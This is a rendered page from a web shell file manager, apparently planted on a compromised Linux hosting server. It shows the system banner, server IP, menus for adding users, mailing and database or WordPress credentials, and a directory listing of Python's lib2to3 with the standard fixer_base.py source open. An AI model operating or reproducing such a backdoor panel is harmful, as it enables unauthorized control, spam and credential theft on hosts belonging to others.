System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
lib64
/
python2.7
/
lib2to3
/
216.73.216.50
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for mail.ontime-ae.com made by tabagkayu.
Folder Name
File Name
File Content
File
fixer_base.py
# Copyright 2006 Google, Inc. All Rights Reserved. # Licensed to PSF under a Contributor Agreement. """Base class for fixers (optional, but recommended).""" # Python imports import itertools # Local imports from .patcomp import PatternCompiler from . import pygram from .fixer_util import does_tree_import class BaseFix(object): """Optional base class for fixers. The subclass name must be FixFooBar where FooBar is the result of removing underscores and capitalizing the words of the fix name. For example, the class name for a fixer named 'has_key' should be FixHasKey. """ PATTERN = None # Most subclasses should override with a string literal pattern = None # Compiled pattern, set by compile_pattern() pattern_tree = None # Tree representation of the pattern options = None # Options object passed to initializer filename = None # The filename (set by set_filename) logger = None # A logger (set by set_filename) numbers = itertools.count(1) # For new_name() used_names = set() # A set of all used NAMEs order = "post" # Does the fixer prefer pre- or post-order traversal explicit = False # Is this ignored by refactor.py -f all? run_order = 5 # Fixers will be sorted by run order before execution # Lower numbers will be run first. _accept_type = None # [Advanced and not public] This tells RefactoringTool # which node type to accept when there's not a pattern. keep_line_order = False # For the bottom matcher: match with the # original line order BM_compatible = False # Compatibility with the bottom matching # module; every fixer should set this # manually # Shortcut for access to Python grammar symbols syms = pygram.python_symbols def __init__(self, options, log): """Initializer. Subclass may override. Args: options: a dict containing the options passed to RefactoringTool that could be used to customize the fixer through the command line. log: a list to append warnings and other messages to. """ self.options = options self.log = log self.compile_pattern() def compile_pattern(self): """Compiles self.PATTERN into self.pattern. Subclass may override if it doesn't want to use self.{pattern,PATTERN} in .match(). """ if self.PATTERN is not None: PC = PatternCompiler() self.pattern, self.pattern_tree = PC.compile_pattern(self.PATTERN, with_tree=True) def set_filename(self, filename): """Set the filename, and a logger derived from it. The main refactoring tool should call this. """ self.filename = filename def match(self, node): """Returns match for a given parse tree node. Should return a true or false object (not necessarily a bool). It may return a non-empty dict of matching sub-nodes as returned by a matching pattern. Subclass may override. """ results = {"node": node} return self.pattern.match(node, results) and results def transform(self, node, results): """Returns the transformation for a given parse tree node. Args: node: the root of the parse tree that matched the fixer. results: a dict mapping symbolic names to part of the match. Returns: None, or a node that is a modified copy of the argument node. The node argument may also be modified in-place to effect the same change. Subclass *must* override. """ raise NotImplementedError() def new_name(self, template=u"xxx_todo_changeme"): """Return a string suitable for use as an identifier The new name is guaranteed not to conflict with other identifiers. """ name = template while name in self.used_names: name = template + unicode(self.numbers.next()) self.used_names.add(name) return name def log_message(self, message): if self.first_log: self.first_log = False self.log.append("### In file %s ###" % self.filename) self.log.append(message) def cannot_convert(self, node, reason=None): """Warn the user that a given chunk of code is not valid Python 3, but that it cannot be converted automatically. First argument is the top-level node for the code in question. Optional second argument is why it can't be converted. """ lineno = node.get_lineno() for_output = node.clone() for_output.prefix = u"" msg = "Line %d: could not convert: %s" self.log_message(msg % (lineno, for_output)) if reason: self.log_message(reason) def warning(self, node, reason): """Used for warning the user about possible uncertainty in the translation. First argument is the top-level node for the code in question. Optional second argument is why it can't be converted. """ lineno = node.get_lineno() self.log_message("Line %d: %s" % (lineno, reason)) def start_tree(self, tree, filename): """Some fixers need to maintain tree-wide state. This method is called once, at the start of tree fix-up. tree - the root node of the tree to be processed. filename - the name of the file the tree came from. """ self.used_names = tree.used_names self.set_filename(filename) self.numbers = itertools.count(1) self.first_log = True def finish_tree(self, tree, filename): """Some fixers need to maintain tree-wide state. This method is called once, at the conclusion of tree fix-up. tree - the root node of the tree to be processed. filename - the name of the file the tree came from. """ pass class ConditionalFix(BaseFix): """ Base class for fixers which not execute if an import is found. """ # This is the name of the import which, if found, will cause the test to be skipped skip_on = None def start_tree(self, *args): super(ConditionalFix, self).start_tree(*args) self._should_skip = None def should_skip(self, node): if self._should_skip is not None: return self._should_skip pkg = self.skip_on.split(".") name = pkg[-1] pkg = ".".join(pkg[:-1]) self._should_skip = does_tree_import(pkg, name, node) return self._should_skip
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2024-06-24 12:45:06
..
DIR
-
drwxr-xr-x
2024-06-24 12:45:06
fixes
DIR
-
drwxr-xr-x
2024-06-24 12:45:06
pgen2
DIR
-
drwxr-xr-x
2024-06-24 12:45:06
Grammar.txt
text/x-tex
6.93 KB
-rw-r--r--
2024-04-10 04:58:35
Grammar2.7.18.final.0.pickle
application/octet-stream
39.54 KB
-rw-r--r--
2024-04-10 04:58:41
PatternGrammar.txt
text/plain
793 B
-rw-r--r--
2024-04-10 04:58:35
PatternGrammar2.7.18.final.0.pickle
application/octet-stream
2.73 KB
-rw-r--r--
2024-04-10 04:58:41
__init__.py
text/plain
7 B
-rw-r--r--
2024-04-10 04:58:35
__init__.pyc
application/octet-stream
127 B
-rw-r--r--
2024-04-10 04:58:46
__init__.pyo
application/octet-stream
127 B
-rw-r--r--
2024-04-10 04:58:46
__main__.py
text/x-python
67 B
-rw-r--r--
2024-04-10 04:58:35
__main__.pyc
application/octet-stream
242 B
-rw-r--r--
2024-04-10 04:58:46
__main__.pyo
application/octet-stream
242 B
-rw-r--r--
2024-04-10 04:58:46
btm_matcher.py
text/x-python
6.67 KB
-rw-r--r--
2024-04-10 04:58:35
btm_matcher.pyc
application/octet-stream
5.69 KB
-rw-r--r--
2024-04-10 04:58:46
btm_matcher.pyo
application/octet-stream
5.69 KB
-rw-r--r--
2024-04-10 04:58:46
btm_utils.py
text/x-python
9.78 KB
-rw-r--r--
2024-04-10 04:58:35
btm_utils.pyc
application/octet-stream
7.39 KB
-rw-r--r--
2024-04-10 04:58:46
btm_utils.pyo
application/octet-stream
7.39 KB
-rw-r--r--
2024-04-10 04:58:46
fixer_base.py
text/x-python
6.62 KB
-rw-r--r--
2024-04-10 04:58:35
fixer_base.pyc
application/octet-stream
7.02 KB
-rw-r--r--
2024-04-10 04:58:46
fixer_base.pyo
application/octet-stream
7.02 KB
-rw-r--r--
2024-04-10 04:58:46
fixer_util.py
text/x-python
14.25 KB
-rw-r--r--
2024-04-10 04:58:35
fixer_util.pyc
application/octet-stream
14.34 KB
-rw-r--r--
2024-04-10 04:58:46
fixer_util.pyo
application/octet-stream
14.34 KB
-rw-r--r--
2024-04-10 04:58:46
main.py
text/x-python
11.33 KB
-rw-r--r--
2024-04-10 04:58:35
main.pyc
application/octet-stream
9.6 KB
-rw-r--r--
2024-04-10 04:58:46
main.pyo
application/octet-stream
9.56 KB
-rw-r--r--
2024-04-10 04:58:43
patcomp.py
text/x-python
6.9 KB
-rw-r--r--
2024-04-10 04:58:35
patcomp.pyc
application/octet-stream
6.45 KB
-rw-r--r--
2024-04-10 04:58:46
patcomp.pyo
application/octet-stream
6.14 KB
-rw-r--r--
2024-04-10 04:58:43
pygram.py
text/x-python
1.13 KB
-rw-r--r--
2024-04-10 04:58:35
pygram.pyc
application/octet-stream
1.41 KB
-rw-r--r--
2024-04-10 04:58:46
pygram.pyo
application/octet-stream
1.41 KB
-rw-r--r--
2024-04-10 04:58:46
pytree.py
text/x-python
28.36 KB
-rw-r--r--
2024-04-10 04:58:35
pytree.pyc
application/octet-stream
29.59 KB
-rw-r--r--
2024-04-10 04:58:46
pytree.pyo
application/octet-stream
28.73 KB
-rw-r--r--
2024-04-10 04:58:43
refactor.py
text/x-python
27.37 KB
-rw-r--r--
2024-04-10 04:58:35
refactor.pyc
application/octet-stream
23.35 KB
-rw-r--r--
2024-04-10 04:58:46
refactor.pyo
application/octet-stream
23.31 KB
-rw-r--r--
2024-04-10 04:58:43
~ ACUPOFTEA - mail.ontime-ae.com